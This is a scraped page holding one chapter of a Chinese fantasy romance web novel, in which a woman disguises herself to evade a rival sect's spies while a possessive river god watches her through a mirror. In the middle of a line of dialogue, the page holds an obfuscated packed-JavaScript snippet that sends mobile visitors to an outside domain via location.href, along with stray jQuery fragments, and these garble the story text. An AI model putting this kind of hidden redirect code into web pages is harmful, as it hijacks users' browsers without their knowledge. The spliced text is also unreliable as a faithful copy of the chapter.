默认冷灰
24号文字
方正启体

19. 神心所向,黑云暗动

作者:梧洇本书字数:K更新时间:
    考虑到某神一而再再而三的表现,要抓祂个正着必然是不容易的。


    薇洛便装作在看窗外,用余光去瞄半扣的镜子,做贼似的,却要抓贼。可这看着看着,深夜的镇河府就将她带进了宁静。


    纸窗外有什么在咕咕叫,和“知了、知了”声一起,邀她商量未来。


    她脑子里当即浮出了几个画面。


    天师府的黄墙倒了,镇河府的砖瓦新了,就连那一堆河神坊的灰都埋进土里了,上头生出笑盈盈的花。


    咕咕声、知了知了声停了,镜面也还是暗的,连雾都没有。


    薇洛眯了眯眼:“哼。”


    不出现便不出现罢,她倒要看看祂几时出来。


    带着恼意,她闭眼。


    吹了灯,屋檐幽静地注视下,她把自己缩成小小一团。镜子就躺在她面朝的方向,在枕边,与她抵头而眠。


    在这时,镜面却亮了亮。


    有谁哈了口雾,左右两笔勾出心,框住镜中的她,无声呢-喃:薇洛,薇洛,你要叫我怎样才好……?


    夷渊静静望着这副面容。


    在世上待久了,祂脑子里更多是过去堆成的空白。


    祂记得太多了,反倒不记得一切。


    只有小孩欢声笑语着从河身边蹦跶过去,或是带着草木清香的香囊映在河面,寻不到薇洛而趴在窗框上的祂才会抬起脑袋,许久不眨的眼睛肯眨一眨。


    前者唤起祂淅沥雨幕中的孩童时期。


    那时祂还是人,爱作画。


    父亲夷将军练兵回来,经过祂所在的小院,看了就骂:“不务正业。”


    母亲听了,从门外软软奔进来,不仅不会说祂什么,还会拉着父亲说:“好了,他还是个孩子。”


    她总是理解他的。


    夷渊心里一暖,被领去院落练武回来,就看见画具被折成一断、一断。


    祂将它们拾起来,握在手里,只觉木刺扎眼极了,轻轻戳在手上,锐利得像是能直直戳穿脖颈。


    从那以后,成为大画家就成了祂的执念之一。


    而后者,那种草木清香是祂与薇洛去游玩时时常闻到的。还好有它,每每闻见,一下又将祂拉回了青年时期。


    回到了、和薇洛一起出游的时光。


    届时,记忆里的天空便会放晴,弯起彩虹,一丛丛青草中,有铃铛清响,它挂在“神仙姐姐”腕上,串在红金交织的手串上,随着转圈飞扬。


    阳光打在上头,让祂双目畏缩了下。


    只是想跟着握上去时,却只握住了消逝的时间。


    时常是这时候,心里便会被那句默语重击:薇洛已经不在了。


    铃响一声,心碎一寸,太阳黑一分,直到彻底碎成粉末。


    在如今这个夜晚,夷渊以目光描绘着薇洛的眉、眼、鼻……反复中,确认出一个事实:千年过后,她又在了。


    但祂却不敢多看。


    那不光是失而复得的欣喜,也带着趋之若鹜的疯狂。


    失去一样美好的东西过久,再得到。


    祂只想将她锁起来,确认不会被也不能被任何人抢走破坏。


    可每每迎上薇洛的目光时,那身影便倒映在清澈如镜的眼瞳里,高大、苍白、湿沉,祂知道,那不再像是她喜欢的类型。


    稍后,目光就会带着冷意割伤祂,似要将祂千刀万剐再丢掉。


    那是带着恨意和哀伤的眼神,祂不明源头,虽然疼痛,但还是忍不住贴上去。


    万幸的是,一遍一遍计算过分寸的拥抱、贴近后,薇洛目光中的冷意淡了些,变成了祂看不懂的模样。


    但那肯定不是全心全意交托的样子。


    她有秘密在瞒着祂。


    该怎么对这样的她呢?


    夷渊直勾勾地望着薇洛闭上的眼。


    祂想搞懂那些目光的含义,但此刻,先引起他注意的是她嫌热蹬掉的被褥。


    做人的经验说着这会着凉,夷渊便想也不想,勾勾手。


    被褥“自己”爬上了领口。


    做完这一切,祂才看见自己身上显出了剑孔,黑漆漆的、乱排在身上。


    对了,祂等会还要去驻守在黑渊狱附近,免得它愈发靠近河底光团。它是被吸过去的,要弥补现世缺失的能量似的。


    夷渊抬着长指,隔着镜子轻蹭她的面容,又望了眼天师府的方向,“这次,我不会让任何人破坏这个家。”


    哪怕为此献上一切。


    哪怕你在瞒着我什么。


    祂将于暗中把那些阻碍他们的全都粉碎,再回味着告诉薇洛,要她一想到离开祂,就想起什么叫无望,害怕离开祂。


    脸上被霜雾触了下,薇洛抖了下摸向枕边,却只摸到被单。


    它带着褶皱,沾了潮气,像是有谁来过,实际上又没来。


    这令薇洛气得捏紧被单,愈发下定决定要将祂炸出来。


    天光大亮,府里除了备好的馒头与榨菜,没有多余的人或“人”。


    放在从前,薇洛可能会习惯这样的生活,但放在昨日热闹过后,她看着这样的镇河府,总觉得合该有道童声从府门里门外窜来窜去的,配合的还有跟在后头的狗叫。


    不过,现实却是夏风在门口翻腾着热浪,冷清得令人冒汗。


    薇洛看着,面上没什么表情,说实话她本来就不喜欢过于被情绪操控,也知道为何没一个人在。


    只是他们错了一点。


    薇洛换上粗布衣裳,往腰带里塞了几块碎银、碎金,往脸上扑了灰,举镜一望。


    枣红补丁与尘土掩盖了真实样貌与身份,但那无光的杏眸眼底透着炽热的火光,在她心底熊熊燃烧着。


    她非软弱的鸟雀。


    唯有亲手粉碎那刻着虚假太极的黄墙,记忆里冰冷刺骨的漆黑河水才会绕过她,河底累累的白骨才会放过她。


    但那并非解脱,而是复仇之火的尽头,是一片灰烬。


    将镜面朝着自己,别进腰里,薇洛便从后门出了门。


    灰布衣裳与木镜的黑暗狭间,镜面闪了闪,祂痴望着她那双眸子,那是生命开始燃烧的模样。


    当一个人决定焚尽自己的一切,便会有这种绝望而美丽的眼神。


    祂既被这种眼神吸引,又憎恶着它出现。每当它出现,有着这种眼神的人最后一定会让自己落了满身伤。


    薇洛并不清楚河神已忍不住在镜中-出现了两次,不过要是知道,也可能会直接对着镜子骂一句:“变-态”。


    出后门没多久,薇洛就注意到:每行几里,都会有人。


    有的背着药框似乎是来采药,有的拎着牛皮水袋、身着两片竹衣,似乎是来夏日漫游的。


    粗看没什么问题的,但……


    其中某些人身上的药框,虽由卖药民常用的麻绳编制而出,却没有药草渣卡在缝里,头发灰白交杂、齁着背,看着是老药民,偏偏踩在乱石之间对着一堆杂草找药材。


    单这么看,其实还有她多心的嫌疑,要是再算上一路上的计算,算出每隔二十多步就会有这么些人出现,事情就可疑起来了。


    尤其是薇洛经过后,还有目光从背后直直扫来,上下扫过全身,打在衣服、膝盖上,检查新旧和走路姿势,明显是知道她膝盖受过伤,走路深一脚浅一脚,却不知道这腿已在异界被河神治好。


    不多时,“游客”越聚越多,目光越来越近,薇洛步频愈发加快。


    搭话声在背后三两步处响起:“小丫头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266757|179886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你是镇河府上的仆从吧?”


    薇洛张嘴,正欲周旋,腰侧镜面亮了亮,她扫了眼,红色衣角瞬时翻飞而过。


    尚不待说什么,周身有“卖糖葫芦喽”的叫卖声。


    再抬头,模糊的街景已成一间间支着棚子贪凉的xx坊和小摊了。她已然进了平乐镇里,南河边上。又被某神暗中盯着帮了,她笑了,笑得凉凉的,不光为没能大展“身手”的自己,也为某神十分不光明正大的监视。


    而远在镇子郊外南河边的诸位,你看我我看你。


    佝偻着的“老人”直起身:“大师兄,这是镜妖吧?”


    腰间别着水袋以两竹片作衣者摸着下巴蹙眉:“应该吧,她有影子,不像怨鬼。没想到还有精怪愿意帮这神。”


    他们还以为上一次祭神,已经将这神在上头的名声搞臭了。


    与他们胡乱猜测相去甚远的人类本人薇洛举起镜子,在往来人士“这人脑子有问题吧”的眼神里瞪了它一眼,笑吟吟道:“阿渊,我今晚回家后,你要是还不在,这镜子就只好呆在土里了。”


    听了这话,半张苍白的面容悄悄从镜子边缘冒了头。


    夷渊只阴森森地说了句:“你现世的好夫君已经买好甜糕回家了。”便没有再说话。


    祂所在地方的阳光似乎不好,导致脸上落满了阴翳,却不敢再多开口,像是什么性格属性觉醒了,敢怒不敢言,只在心底蛐蛐。


    本是抿着嘴的薇洛却咧开嘴,露出两排白牙:“这才对。”


    说着,她左右扫了扫,瞄中一家木架上挂着三排样式不一面具的摊子,往那靠了过去。


    靠近间,薇洛全程举着镜子。


    她不说话,只时而笑看着对面在干嘛,时而看看路,也不管旁人用什么眼光看她,反正从异界出来那天,传闻里的自己就已经是精神有毛病的可怜姑娘了,更别说她现在摸了灰,是副穷到换不起新衣的模样。


    当然,薇洛这么做,不光是为了躲避天师府的耳目,还是为了做一个新身份,以便执行接下来的计划。


    而今日,是她准备制定疯狂计划所行的第一步,改头换面、探清势力分布、顺便刺一刺“变-态神”,只可惜祂不露马脚,叫她看不出阿渊和夷渊是不是如她所料,就是同时期的同一位神。


    没有言语的“谈笑”间,薇洛已来到摊前,扫过半张面容的,扫过颜色艳丽的,挑中了张全脸的面具,此面深蓝、白、红、黑由外到里间隔上色,主体是白色。


    它对她怒视而视,有上下两双眼孔,似乎能将人看透个彻底,又时常愤怒着,偏偏嘴被人封上了。


    当真是和她极像。


    摊主见薇洛上手,也不歧视这满身补丁的她,搭了话:“小姑娘家家的,拿这么吓人的‘鬼’面,还笑得这么开心,是要和心上人参加明后两天的祭神大典吗?”


    心上人?她分明是因为刺-激了河神心里才这么舒畅的。


    想着,薇洛嘴角一下恢复垂态:“并非吓人的都是鬼面,戴上它后,底下的灵魂如何,才决定它是什么面。”


    而其中,善为神,恶为鬼。


    摊主是个大娘模样,且心胸宽阔,被否认了也不急,快速解释:“只是生产它的人这么叫罢了,并非说客人是个恶人。你这解读,确实深刻。”


    薇洛没有再多话,递了碎银,找了余钱,在原价10贯钱的基础上多加了一倍:“麻烦阿姐多说说祭神大典的事了。”


    摊主摸了钱,对薇洛会心一笑:“这你可找对人了,我阿弟就是天师府的。”


    薇洛亦客套笑笑,两人交流起来,她垂着的手里,镜面中溢满磨黑水色,如同神心。


    天空中则黑云暗动,明眼人一看就知有什么腥风血雨欲来了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)